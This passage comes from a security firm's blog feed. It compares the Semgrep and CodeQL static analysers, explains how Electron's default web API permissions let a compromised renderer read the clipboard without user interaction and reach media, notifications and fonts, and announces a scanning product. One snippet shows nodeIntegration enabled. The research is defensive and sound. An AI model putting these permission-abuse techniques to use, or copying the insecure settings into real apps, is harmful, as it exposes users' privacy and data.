<li>A robust set of filtering options to include/exclude files, directories and specific content</li>
<li>Ability to configure a comparison baseline (find things not already in commit X)</li>
<li>Whether to continue if errors or vulnerabilities are encountered</li>
<li>Whether to automatically perform fixes by replacing text and whether to perform dry runs to check before actually changing</li>
<li>The maximum size of the files to scan</li>
<li>Output formats</li>
</ul>
<p>Notes:</p>
<ol>
<li>
<p>While the tool does provide an automated scanning option, we found situations in which <code class="language-plaintext highlighter-rouge">-–config auto</code> did not find all the vulnerabilities that manually selecting the language did.</p>
</li>
<li>
<p>The re-use/tracking of the scan results requires using Semgrep CI or Semgrep App.</p>
</li>
</ol>
<h5 id="codeql-2">CodeQL:</h5>
<p>CodeQL requires a buildable application (i.e., no processing of a limited set of files), with a completely different concept of “scanning”, so this notion doesn’t directly translate. In effect, you create a database from the code, which you subsequently query to find bugs, so much of the “filtering” can be accomplished by modifying the queries that are run.</p>
<p>Options include:</p>
<ul>
<li>Specifying which language(s) to process
<ul>
<li>The CodeQL repository contains libraries and specific queries for each language</li>
<li>The <a href="https://github.com/github/codeql-go/tree/lgtm.com/ql/src/Security">Security folder</a> contains (21) queries for various CWEs</li>
</ul>
</li>
<li>Which queries to run</li>
<li>Location of the files</li>
<li>When the queries are run on the resulting database you can specify the output format</li>
<li>Adjustable verbosity when creating the database(s)</li>
</ul>
<p>Because CodeQL creates a searchable database, you can indefinitely run queries against the scanned version of the code.</p>
<p>Because of the different approaches it is difficult to say one tool has an advantage over the other. The most significant difference is probably that Semgrep allows you to automatically fix vulnerabilities.</p>
<h3 id="rules">Rules</h3>
<p>As mentioned previously, these tools take completely different approaches (i.e., rules vs queries). Whether someone prefers writing queries vs. YAML is subjective, so we’ll not discuss the formats themselves specifically.</p>
<h5 id="semgrep-3">Semgrep:</h5>
<p>As primarily a string-matching static code analysis tool, Semgrep’s accuracy is mostly driven by the rules in use and their modes of operation. Semgrep is probably best thought of as an improvement on the Linux command line tool <code class="language-plaintext highlighter-rouge">grep</code>. It adds improved ease of use, multi-line support, metavariables and taint tracking, as well as other features that <code class="language-plaintext highlighter-rouge">grep</code> directly does not support. Beta features also include the ability to track across related files.</p>
<p>Semgrep rules are defined in relatively simple YAML files with only a handful of elements used to create them. This allows someone to <strong>become reasonably proficient with the tool in a matter of hours</strong>, after reading the documentation and tutorials. At times, the tool’s less than full comprehension of the code can cause rule writing to be more difficult than it might appear at first glance.</p>
<p>In Semgrep, there are several ways to execute rules, either locally or remotely. Additionally, you can pass them as command line arguments referred to as “ephemeral” rules, eliminating the YAML files altogether.</p>
<p>The rule below shows an example of a reasonably straightforward rule. It effectively looks for an insecure comparison of something that might be a secret within an HTTP request.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">rules</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">id</span><span class="pi">:</span> <span class="s">insecure-comparison-taint</span>
<span class="na">message</span><span class="pi">:</span> <span class="pi">>-</span>
<span class="s">User input appears to be compared in an insecure manner that allows for side-channel timing attacks. </span>
<span class="na">severity</span><span class="pi">:</span> <span class="s">ERROR</span>
<span class="na">languages</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">go</span><span class="pi">]</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">category</span><span class="pi">:</span> <span class="s">security</span>
<span class="na">mode</span><span class="pi">:</span> <span class="s">taint</span>
<span class="na">pattern-sources</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">pattern-either</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">pattern</span><span class="pi">:</span> <span class="s2">"</span><span class="s">($ANY</span><span class="nv"> </span><span class="s">:</span><span class="nv"> </span><span class="s">*http.Request)"</span>
<span class="pi">-</span> <span class="na">pattern</span><span class="pi">:</span> <span class="s2">"</span><span class="s">($ANY</span><span class="nv"> </span><span class="s">:</span><span class="nv"> </span><span class="s">http.Request)"</span>
<span class="na">pattern-sinks</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">patterns</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">pattern-either</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">pattern</span><span class="pi">:</span> <span class="s2">"</span><span class="s">...</span><span class="nv"> </span><span class="s">==</span><span class="nv"> </span><span class="s">$SECRET"</span>
<span class="pi">-</span> <span class="na">pattern</span><span class="pi">:</span> <span class="s2">"</span><span class="s">...</span><span class="nv"> </span><span class="s">!=</span><span class="nv"> </span><span class="s">$SECRET"</span>
<span class="pi">-</span> <span class="na">pattern</span><span class="pi">:</span> <span class="s2">"</span><span class="s">$SECRET</span><span class="nv"> </span><span class="s">==</span><span class="nv"> </span><span class="s">..."</span>
<span class="pi">-</span> <span class="na">pattern</span><span class="pi">:</span> <span class="s2">"</span><span class="s">$SECRET</span><span class="nv"> </span><span class="s">!=</span><span class="nv"> </span><span class="s">..."</span>
<span class="pi">-</span> <span class="na">pattern-not</span><span class="pi">:</span> <span class="s">len(...) == $NUM</span>
<span class="c1">#- pattern-not: <... len(...) ...></span>
<span class="pi">-</span> <span class="na">metavariable-regex</span><span class="pi">:</span>
<span class="na">metavariable</span><span class="pi">:</span> <span class="s">$SECRET</span>
<span class="na">regex</span><span class="pi">:</span> <span class="s">.*(secret|password|token|otp|key|signature|nonce).*</span>
</code></pre></div></div>
<p>The logic in the rules is familiar and amounts to what feels like stacking of RegExs, but with the added capability of creating boundaries around what is matched against and with the benefit of language comprehension. It is important to note however that Semgrep lacks a full understanding of the code flow sufficient enough to trace source to sink flows through complex code. By default it works on a single file basis, but Beta features also include the ability to track across related files. Semgrep’s current capabilities lie somewhere between basic grep and a traditional static code analysis tool, with abstract syntax trees and control flow graphs.</p>
<p>No special preparation of repositories is needed before scanning can begin. The tool is fully capable of detecting languages and running simultaneous scans of multiple languages in heterogeneous code repositories. Furthermore, the tool is capable of running on code which isn’t buildable, but the tool will return errors when it parses what it deems as invalid syntax.</p>
<p>That said, rules tend to be more general than the queries in CodeQL and could potentially lead to more false positives. For some situations, it is not possible to make a rule that is completely accurate without customizing the rule to match a specific code base.</p>
<h5 id="codeql-3">CodeQL:</h5>
<p>CodeQL’s query language has a SQL-like syntax with the following features:</p>
<ul>
<li>Logical: all the operations in QL are logical operations.</li>
<li>Declarative: provide the properties the results must satisfy rather than the procedure to compute the results.</li>
<li>Object-oriented: it uses classes, inheritance and other object oriented features to increase modularity and reusability of the code.</li>
<li>Read-only: no side effect, no imperative features (ex. variable assignment).</li>
</ul>
<p>The engine has extractors for each supported language. They are used to extract the information from the codebase into the database. Multi-language code bases are analyzed one at a time. Trying to specify a list of target languages (go, javascript and c) didn’t work out of the box because CodeQL required to explicitly set the build command for this combination of languages.</p>
<p>CodeQL can also be used in VSCode as an extension, a CLI tool or integrated with Github workflows. The VS extension code allows writing the queries with the support of the autocompletion by the IDE and testing them against one or more databases previously created.</p>
<p>The query below shows how you would search for the same vulnerability as the Semgrep rule above.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* @name Insecure time comparison for sensitive information
* @description Input appears to be compared in an insecure manner (timing attacks)
*/</span>
<span class="k">import</span> <span class="nx">go</span>
<span class="k">from</span> <span class="nx">EqualityTestExpr</span> <span class="nx">e</span><span class="p">,</span> <span class="nx">DataFlow</span><span class="p">::</span><span class="nx">CallNode</span> <span class="nx">called</span>
<span class="nx">where</span>
<span class="c1">// all the functions call where the argument matches the RegEx</span>
<span class="nx">called</span>
<span class="p">.</span><span class="nx">getAnArgument</span><span class="p">()</span>
<span class="p">.</span><span class="nx">toString</span><span class="p">()</span>
<span class="p">.</span><span class="nx">toLowerCase</span><span class="p">()</span>
<span class="p">.</span><span class="nx">regexpMatch</span><span class="p">(</span><span class="dl">"</span><span class="s2">.*(secret|password|token|otp|key|signature|nonce).*</span><span class="dl">"</span><span class="p">)</span> <span class="nx">and</span>
<span class="nx">e</span><span class="p">.</span><span class="nx">getAnOperand</span><span class="p">()</span> <span class="o">=</span> <span class="nx">called</span><span class="p">.</span><span class="nx">getExpr</span><span class="p">()</span>
<span class="nx">select</span> <span class="nx">called</span><span class="p">.</span><span class="nx">getExpr</span><span class="p">(),</span> <span class="dl">"</span><span class="s2">Uses a constant time comparison for sensitive information</span><span class="dl">"</span>
</code></pre></div></div>
<p>In order to create a database, CodeQL requires a buildable codebase. This means that an analysis consists of multiple steps: standard building of the codebase, creating the database and querying the codebase. Due to the complexity of the process in every step, our experience was that a full analysis can require a non-negligible amount of time in some cases.</p>
<p>Writing queries for CodeQL also requires a great amount of effort, especially at the beginning. The user should know the CodeQL syntax very well and pay attention to the structure of the condition to avoid killing the performance. We experienced an infinite compilation time just adding an OR condition in the WHERE clause of a query. Starting from zero experience with the tool, the benefits of using CodeQL are perceivable only in the long run.</p>
<h3 id="findings-workflows">Findings workflows</h3>
<h5 id="semgrep-4">Semgrep:</h5>
<p>As Semgrep allows you to output to a number of formats, along with the CLI output, there are a number of ways you can manage the findings. They also list some of this information on their <a href="https://semgrep.dev/docs/managing-findings/">manage-findings</a> page.</p>
<h5 id="codeql-4">CodeQL:</h5>
<p>Because the CodeQL CLI tool reports findings in a CSV or SARIF file format, triaging findings reported by it can be quite tedious. During testing, we felt the easiest way to review findings from the CodeQL CLI tool was to launch the query from Visual Studio Code and manually review the results from there (due to the IDE’s navigation features). Ultimately, in real-world usage, the results are probably best consumed through the integration with GitHub.</p>
<h3 id="scan-times">Scan times</h3>
<p>Due to the differences between their approaches, it’s difficult to fairly quantify the differences in speed between the two tools. Semgrep is a clear winner in the time it takes to setup, run a scan and get results. It doesn’t interpret the code as deeply as CodeQL does, nor does it have to create a persistent searchable database, then run queries against it. However, once the database is created, you could argue that querying for a specific bug in CodeQL versus scanning a project again in Semgrep would be roughly similar, depending on multiple factors not directly related to the tools (e.g., hardware, language, code complexity).</p>
<p>This highlights the fact that tool selection criteria should incorporate the use-case.</p>
<ul>
<li>Scanning in a CI/CD pipeline - speed matters more</li>
<li>Ongoing periodic scans - speed matters less</li>
<li>Time based consulting work - speed is very important</li>
</ul>
<h3 id="owasp-benchmark-project-results">OWASP Benchmark Project results</h3>
<p>This section shows the results of using both of these SAST tools to test the <a href="https://github.com/OWASP-Benchmark/BenchmarkJava">same repository of Java code</a> (the only language option). This project’s sample code had been previously reviewed and categorized, specifically to allow for benchmarking of SAST tools. Using this approach we could relatively easily run a head-to-head comparison and allow the OWASP Benchmark Project to score and graph the performance of each tool.</p>
<p>Drawbacks to this approach include the fact that it is one language, Java, and that is not the language of choice for our client. Additionally, SAST tool maintainers, who might be aware of this project, could theoretically ensure their tools perform well in these tests specifically, potentially masking shortcomings when used in broader contexts.</p>
<p>In this test, Semgrep was configured to run with the latest “security-audit” Registry ruleset, per the OWASP Benchmark Project recommendations. CodeQL was run using the “Security-and-quality queries” query suite. The CodeQL query suite includes queries from “security-extended”, plus maintainability and reliability queries.</p>
<p>As you can see from the charts below, Semgrep performed better, on average, than CodeQL did. Examining the rules a bit more closely, we see three CWE (Common Weakness Enumeration) areas where CodeQL does not appear to find any issues, significantly impacting the average performance. It should also be noted that CodeQL does outperform in some categories, but determining the per-category importance is left to the tool’s users.</p>
<div style="text-align: center;">
<img src="/public/images/OWASP_Semgrep.png" alt="Semgrep OWASP Benchmark Project results" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<div style="text-align: center;">
<img src="/public/images/OWASP_CodeQL.png" alt="CodeQL OWASP Benchmark Project results" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<h3 id="cross-tool-test-suite-results">Cross-tool test suite results</h3>
<p>This section discusses the results of using the Semgrep tool against the test cases for CodeQL and vice versa. While initially seeming like a great way to compare the tools, unfortunately, the test case files presented several challenges to this approach. While being labeled things like “Good” and “Bad” either in file names or comments, the files were not necessarily all “Good” code or “Bad” code, but inconsistently mixed, inconsistently labeled and sometimes with multiple potential vulnerabilities in the same files. Additionally, we occasionally discovered vulnerabilities in some of the files which were not the CWE classes that were supposed to be in the files (e.g., finding XSS in an SQL Injection test case).</p>
<p>These issues prevented a simple count based on the files that were/were not found to have vulnerabilities. The statistics we present have been modified as much as possible in the allotted time to account for these issues and we have applied data analysis techniques to account for some of the errors.</p>
<p>As you can see in the table below, CodeQL performed significantly better with regards to detection, but at the cost of a higher false positive rate as well. This underscores some of the potential tradeoffs, mentioned in the introduction, which need to be considered by the consumer of the output.</p>
<div style="text-align: center;">
<img src="/public/images/cross-tool.png" alt="Semgrep/CodeQL cross-tool results" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>Notes:</p>
<ol>
<li>
<p>Semgrep’s configuration was limited to only running rules classified as security-related and only against Golang files, for efficiency’s sake.</p>
</li>
<li>
<p>Semgrep successfully identified vulnerabilities associated with <a href="https://cwe.mitre.org/data/definitions/327.html">CWE-327</a>, <a href="https://cwe.mitre.org/data/definitions/322.html">CWE-322</a> and <a href="https://cwe.mitre.org/data/definitions/319.html">CWE-319</a></p>
</li>
<li>
<p>Semgrep’s results only included two vulnerabilities which were the one intended to be found in the file (e.g., test for X find X). The remainder were HTTPs issues (<a href="https://cwe.mitre.org/data/definitions/319.html">CWE-319</a>) related to servers configured for testing purposes in the CodeQL rules (e.g., test for X but find valid Y instead).</p>
</li>
<li>
<p>CodeQL rules for SQL injection did not perform well in this case (<em>~20% detection</em>), but did better in cross-site scripting and other tests. There were fewer overall rules available during testing, compared to Semgrep, and vulnerability classes like <em>Server Side Template Injection (SSTI)</em> were not checked for, due to the absence of rules.</p>
</li>
<li>
<p>Out of 14 files that CodeQL generated findings for, only 2 were analyzed without errors. <em>85%</em> of files generated some errors during database creation.</p>
</li>
<li>
<p>False negative rates can increase dramatically if CodeQL fails to extract data from code. It is essential to make sure that there are not excessive extraction errors when creating a database or running any of the commands that implicitly run the extractors.</p>
</li>
</ol>
<h3 id="client-code-results">Client code results</h3>
<p>This section discusses the results of using the tools to examine an open source Golang project for one of our clients.</p>
<p>In these tests, due to the aforementioned lack of a priori knowledge of the code’s true security status, we are forced to assume that all files without true positives are free from vulnerabilities and are therefore considered TNs and likewise that there are no FNs. This underscores that testing against code that has already been organized for evaluation can be assumed as more accurate.</p>
<p>Running Semgrep with the “<em>r2c-security-audit</em>” configuration, resulted in 15 Golang findings, all of which were true positives. That said, the majority of the findings were related to the use of the <code class="language-plaintext highlighter-rouge">unsafe</code> library. Due to the nature of this issue, we opted to only count it as one finding per file, as to not further skew the results, by counting each usage within a file.</p>
<p>As shown in the table below, both tools performed very well! CodeQL detected significantly more findings, but it should be noted that they were largely the same couple of issues across numerous files. In other words, there were repeated code patterns in many cases, skewing the volume of findings.</p>
<div style="text-align: center;">
<img src="/public/images/client_code.png" alt="Semgrep OWASP Benchmark Project results" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<ol>
<li>
<p>For the purposes of this exercise, <em>TN = Total .go files - TP (890-15) = 875</em>, since we are assuming all those files are free of vulnerabilities. For the Semgrep case, the value is irrelevant for the rate calculations, since no false positives were found.</p>
</li>
<li>
<p>Semgrep in <code class="language-plaintext highlighter-rouge">--config auto</code> mode resulted in thousands of findings when run against our client’s code, as opposed to tens of findings when limiting the scans to security-specific tests on Golang only. We cite this, to underscore that results will vary greatly depending on the code tested and rules applied. That reduction in scope resulted in no false positives during manually reviewed results.</p>
</li>
<li>
<p>For CodeQL, approximately 25% of the files were not scanned, due to issues with the tool</p>
</li>
<li>
<p>CodeQL encountered many errors during file compilation. <em>63 out of 74</em> Go files generated errors while being extracted to CodeQL’s database. This means that the analysis was performed on less data, and most files were only partially analyzed by CodeQL. This caused the CodeQL scan to result in significantly less findings than expected.</p>
</li>
</ol>
<h3 id="conclusion">Conclusion</h3>
<p>Obviously there could be some bias, but if you’d like another opinion, the creators of Semgrep have also provided a <a href="https://semgrep.dev/docs/faq/#how-are-semgrep-and-its-rules-licensed">comparison with CodeQL</a> on their website, particularly in this section : “How is Semgrep different from CodeQL?”.</p>
<p>Not surprisingly, in the end, we still feel <strong>Semgrep is a better tool for our use as a security consultancy boutique</strong> doing high-quality manual audits. This is because we don’t always have access to all the source code that we’d need to use CodeQL, the process of setting up scans is more laborious and time consuming in CodeQL. Additionally, we can manually vet findings ourselves - so a few extra findings isn’t a major issue for us and we can use it for free. If an organization’s use-case is more aligned with our client’s - being an organization that is willing to invest the time and effort, is particularly sensitive to false positives (e.g. running a scan during CI/CD) and doesn’t mind paying for the licensing, CodeQL might be a better choice for them.</p>
Diving Into Electron Web API Permissions2022-09-27T00:00:00+02:00https://blog.doyensec.com/2022/09/27/electron-api-default-permissions<h3 id="introduction">Introduction</h3>
<p>When a Chrome user opens a site on the Internet that requests a permission, Chrome displays a large prompt in the top left corner. The prompt remains visible on the page until the user interacts with it, reloads the page, or navigates away. The permission prompt has <em>Block</em> and <em>Allow</em> buttons, and an option to close it. On top of this, Chrome 98 displays the full prompt only if the permission was triggered <em>“through a user gesture when interacting with the site itself”</em>. These precautionary measures are the only things preventing a malicious site from using APIs that could affect user privacy or security.</p>
<div style="text-align: center;">
<img src="../../../public/images/permission-prompt-chrome.png" title="Chrome Permission Prompt" alt="Chrome Permission Prompt" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 300px;" />
</div>
<p>Since Chrome implements this pop-up box, how does Electron handle permissions? From Electron’s documentation:</p>
<blockquote>
<p>“In Electron the permission API is based on Chromium and implements the same types of permissions. By default, Electron will automatically approve all permission requests unless the developer has manually configured a custom handler. While a solid default, security-conscious developers might want to assume the very opposite.”</p>
</blockquote>
<p>This approval can lead to serious security and privacy consequences if the renderer process of the Electron application were to be compromised via unsafe navigation (e.g., open redirect, clicking links) or cross-site scripting. We decided to investigate how Electron implements various permission checks to compare Electron’s behavior to that of Chrome and determine how a compromised renderer process may be able to abuse web APIs.</p>
<h3 id="webcam-microphone-and-screen-recording-permissions">Webcam, Microphone, and Screen Recording Permissions</h3>
<p>The webcam, microphone, and screen recording functionalities present a serious risk to users when approval is granted by default. Without implementing a permission handler, an Electron app’s renderer process will have access to a user’s webcam and microphone. However, screen recording requires the Electron app to have configured a source via a desktopCapturer in the main process. This leaves little room for exploitability from the renderer process, unless the application already needs to record a user’s screen.</p>
<p>Electron groups these three into one permission, “media”. In Chrome, these permissions are separate. Electron’s lack of separation between these three is problematic because there may be cases where an application only requires the microphone, for example, but must also be granted access to record video. By default, the application would not have the capability to deny access to video without also denying access to audio. For those wondering, modern Electron apps seemingly handling microphone & video permissions separately, are only tracking and respecting the user choices in their UI. An attacker with a compromised renderer could still access any media.</p>
<p>It is also possible for media devices to be enumerated even when permission has not been granted. In Chrome however, an origin can only see devices that it has permission to use. The API <code class="language-plaintext highlighter-rouge">navigator.mediaDevices.enumerateDevices()</code> will return all of the user’s media devices, which can be used to fingerprint the user’s devices. For example, we can see a label of “Default - MacBook Pro Microphone (Built-in)”, despite having a deny-all permission handler.</p>
<div style="text-align: center;">
<img src="../../../public/images/navigator-enumeratedevices.png" title="navigator.mediaDevices.enumerateDevices()" alt="navigator.mediaDevices.enumerateDevices()" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>To deny access to all media devices (but not prevent enumerating the devices), a permission handler must be implemented in the main process that rejects requests for the “media” permission.</p>
<h3 id="file-system-access-api">File System Access API</h3>
<p>The File System Access API normally allows access to read and write to local files. In Electron, reading files has been implemented but writing to files has not been implemented and permission to write to files is always denied. However, access to read files is always granted when a user selects a file or directory. In Chrome, when a user selects a file or directory, Chrome notifies you that you are granting access to a specific file or directory until all tabs of that site are closed. In addition, Chrome prevents access to directories or files that are deemed too sensitive to disclose to a site. These are both considerations mentioned in the API’s standard (<a href="https://wicg.github.io/file-system-access/#privacy-wide-access">discussed by the WICG</a>).</p>
<ul>
<li><em>“User agents should try to make sure that users are aware of what exactly they’re giving websites access to”</em> – implemented in Chrome with the notification after choosing a file or directory</li>
</ul>
<div style="text-align: center;">
<img src="../../../public/images/file-permission-1.png" title="Chrome's prompt: Let site view files?" alt="Chrome's prompt: Let site view files?" align="center" style="display: block; margin-left: auto; margin-right: auto; max-width: 300px;" />
</div>
<ul>
<li><em>“User agents are encouraged to restrict which directories a user is allowed to select in a directory picker, and potentially even restrict which files the user is allowed to select”</em> – implemented in Chrome by preventing users from sharing certain directories containing system files.
In Electron, there is no such notification or prevention. A user is allowed to select their root directory or any other sensitive directory, potentially granting more access than intended to a website. There will be no notification alerting the user of the level of access they will be granting.</li>
</ul>
<h3 id="clipboard-notification-and-idle-detection-apis">Clipboard, Notification, and Idle Detection APIs</h3>
<p>For these three APIs, the renderer process is granted access by default. This means a compromised renderer process can read the clipboard, send desktop notifications, and detect when a user is idle.</p>
<h4 id="clipboard">Clipboard</h4>
<p>Access to the user’s clipboard is extremely security-relevant because some users will copy passwords or other sensitive information to the clipboard. Normally, Chromium denies access to reading the clipboard unless it was triggered by a user’s action. However, we found that adding an event handler for the window’s <code class="language-plaintext highlighter-rouge">load</code> event would allow us to read the clipboard without user interaction.</p>
<div style="text-align: center;">
<img src="../../../public/images/electron-clipboard-1.png" title="Cliboard Reading Callback" alt="Cliboard Reading Callback" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<div style="text-align: center;">
<img src="../../../public/images/electron-clipboard-2.png" title="Cliboard Reading Callback" alt="Cliboard Reading Callback" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>To deny access to this API, deny access to the “<code class="language-plaintext highlighter-rouge">clipboard-read</code>” permission.</p>
<h4 id="notifications">Notifications</h4>
<p>Sending desktop notifications is another security-relevant feature because desktop notifications can be used to increase the success rate of phishing or other social engineering attempts.</p>
<div style="text-align: center;">
<img src="../../../public/images/electron-notifications-api.png" title="PoC for Notification API Attack" alt="PoC for Notification API Attack" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>To deny access to this API, deny access to the “<code class="language-plaintext highlighter-rouge">notifications</code>” permission.</p>
<h4 id="idle-detection">Idle Detection</h4>
<p>The Idle Detection API is much less security-relevant, but its abuse still represents a violation of user privacy.</p>
<div style="text-align: center;">
<img src="../../../public/images/electron-idledetection-api.png" title="Idle Detection API abuse" alt="Idle Detection API abuse" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>To deny access to this API, deny access to the “<code class="language-plaintext highlighter-rouge">idle-detection</code>” permission.</p>
<h4 id="local-font-access-api">Local Font Access API</h4>
<p>For this API, the renderer process is granted access by default. Furthermore, the main process never receives a permission request. This means that a compromised renderer process can always read a user’s fonts. This behavior has significant privacy implications because the user’s local fonts can be used as a fingerprint for tracking purposes and they may even reveal that a user works for a specific company or organization. Yes, we do use custom fonts for our reports!</p>
<div style="text-align: center;">
<img src="../../../public/images/electron-local-font-access.png" title="Local Font Access API abuse" alt="Local Font Access API abuse" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<h3 id="security-hardening-for-electron-app-permissions">Security Hardening for Electron App Permissions</h3>
<p>What can you do to reduce your Electron application’s risk? You can quickly assess if you are mitigating these issues and the effectiveness of your current mitigations using <a href="https://get-electrong.com/">ElectroNG</a>, the first SAST tool capable of rapid vulnerability detection and identifying missing hardening configurations. Among its many features, ElectroNG features a dedicated check designed to identify if your application is secure from permission-related abuses:</p>
<div style="text-align: center;">
<img src="../../../public/images/electrong-permission.png" title="ElectroNG Permission Check" alt="ElectroNG Permission Check" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>A secure application will usually deny all the permissions for dangerous web APIs by default. This can be achieved by adding a permission handler to a <code class="language-plaintext highlighter-rouge">Session</code> as follows:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">ses</span><span class="p">.</span><span class="nx">setPermissionRequestHandler</span><span class="p">((</span><span class="nx">webContents</span><span class="p">,</span> <span class="nx">permission</span><span class="p">,</span> <span class="nx">callback</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">callback</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="p">})</span>
</code></pre></div></div>
<p>If your application needs to allow the renderer process permission to access some web APIs, you can add exceptions by modifying the permission handler. We recommend checking if the origin requesting permission matches an expected origin. It’s a good practice to also set the permission request handler to <code class="language-plaintext highlighter-rouge">null</code> first to force any permission to be requested again. Without this, revoked permissions might still be available if they’ve already been used successfully.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">session</span><span class="p">.</span><span class="nx">defaultSession</span><span class="p">.</span><span class="nx">setPermissionRequestHandler</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</code></pre></div></div>
<h3 id="conclusions">Conclusions</h3>
<p>As we discussed, these permissions present significant risk to users even in Electron applications setting the most restrictive <code class="language-plaintext highlighter-rouge">webPreferences</code> settings. Because of this, it’s important for security teams & developers to strictly manage the permissions that Electron will automatically approve unless the developer has manually configured a custom handler.</p>
ElectroNG, our premium SAST tool released!2022-09-06T00:00:00+02:00https://blog.doyensec.com/2022/09/06/electrong-launch<p>As promised in November 2021 at <a href="https://cyberweek.ae/">Hack In The Box</a> <em>#CyberWeek</em> event in Abu Dhabi, we’re excited to announce that <strong>ElectroNG</strong> is now available for purchase at <a href="https://get-electrong.com/">https://get-electrong.com/</a>.</p>
<p><a href="https://get-electrong.com/">
<img src="../../../public/images/electrong-banner.png" title="ElectronNG Launch Banner" alt="ElectronNG UI" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</a></p>
<p>Our premium SAST tool for <a href="https://www.Electron.org/">Electron</a> applications is the result of many years of applied R&D! Doyensec has been the leader in Electron security since being the first security company to publish a comprehensive security overview of the Electron framework during <a href="https://www.blackhat.com/us-17/briefings.html#electronegativity-a-study-of-electron-security">BlackHat USA 2017</a>. Since then, we have reported dozens of vulnerabilities in the framework itself and popular Electron-based applications.</p>
<h3 id="a-bit-of-history">A bit of history</h3>
<p>We launched <a href="https://github.com/doyensec/electronegativity">Electronegativity OSS</a> at the beginning of 2019 as a set of scripts to aid the manual auditing of Electron apps. Since then, we’ve released numerous updates, educated developers on security best practices, and grown a strong community around Electron application security. Electronegativity is even mentioned in the <a href="https://www.Electron.org/docs/latest/tutorial/security">official security documentation</a> of the framework.</p>
<p>At the same time, <a href="https://www.Electron.org/">Electron</a> has established itself as the framework of choice for developing multi-OS desktop applications. It is now used by over a thousand public desktop applications and many more internal tools and custom utilities. Major tech companies are betting on this technology by devoting significant resources to it, and it is now evident that Electron is here to stay.</p>
<h3 id="whats-new">What’s new?</h3>
<p>Considering the evolution of the framework and emerging threats, we had quickly realized that Electronegativity was in need of a significant refresh, in terms of detection and features, to be able to help modern companies in “building with security”.</p>
<p>At the end of 2020, we sat down to create a project roadmap and created a development team to work on what is now ElectroNG. In this blog post, we will highlight some of the major improvements over the OSS version. There is much more under the hood, and we will be covering more features in future posts and presentations.</p>
<p><a href="https://get-electrong.com/">
<img src="../../../public/images/electrongui.png" title="ElectronNG UI" alt="ElectronNG UI" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</a></p>
<h4 id="user-interface">User Interface</h4>
<p>If you’ve ever used Electronegativity, it would be obvious that ElectroNG is no longer a command-line tool. Instead, we’ve built a modern desktop app (using Electron!).</p>
<div style="text-align: center;">
<video controls="" poster="../../../public/images/electrongui.png" title="ElectroNG Product Demo" autoplay="" muted="" loop="true" playsinline="" align="center" style="max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;">
<source src="../../../public/images/ElectroNGdemo.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
</div>
<p><br /></p>
<h4 id="better-detection-more-checks">Better Detection, More Checks</h4>
<p>ElectroNG features a new decision mechanism to flag security issues based on improved <em>HTML/JavaScript/Typescript</em> parsing and new heuristics. After developing that, we improved all existing atomic and conditional checks to reduce the number of false positives and improve accuracy. There are now over 50 checks to detect misconfigurations and security vulnerabilities!</p>
<p>However, the most significant improvement revolves around the creation of Electron-dependent checks. ElectroNG will attempt to determine the specific version of the framework in use by the application and dynamically adjust the scan results based on that. Considering that Electron APIs and options change very frequently, this boosts the tool’s reliability in determining things that matter.</p>
<p>To provide a concrete example to the reader, let’s consider a lesser-known setting named <code class="language-plaintext highlighter-rouge">affinity</code>. Electron v2 introduced a new BrowserView/BrowserWindow <code class="language-plaintext highlighter-rouge">webPreferences</code> option for gathering several windows into a single process. When specified, web pages loaded by BrowserView/BrowserWindow instances with the same affinity will run in the same renderer process. While this setting was meant to improve performance, it leads to unexpected results across different Electron versions.</p>
<p>Let’s consider the following code snippet:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">createWindow</span> <span class="p">()</span> <span class="p">{</span>
<span class="c1">// Create the browser window.</span>
<span class="nx">firstWin</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BrowserWindow</span><span class="p">({</span>
<span class="na">width</span><span class="p">:</span> <span class="mi">800</span><span class="p">,</span>
<span class="na">height</span><span class="p">:</span> <span class="mi">600</span><span class="p">,</span>
<span class="na">webPreferences</span><span class="p">:</span> <span class="p">{</span>
<span class="na">nodeIntegration</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">affinity</span><span class="p">:</span> <span class="dl">"</span><span class="s2">secPrefs</span><span class="dl">"</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="nx">secondWin</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BrowserWindow</span><span class="p">({</span>
<span class="na">width</span><span class="p">:</span> <span class="mi">800</span><span class="p">,</span>
<span class="na">height</span><span class="p">:</span> <span class="mi">600</span><span class="p">,</span>
<span class="na">webPreferences</span><span class="p">:</span> <span class="p">{</span>
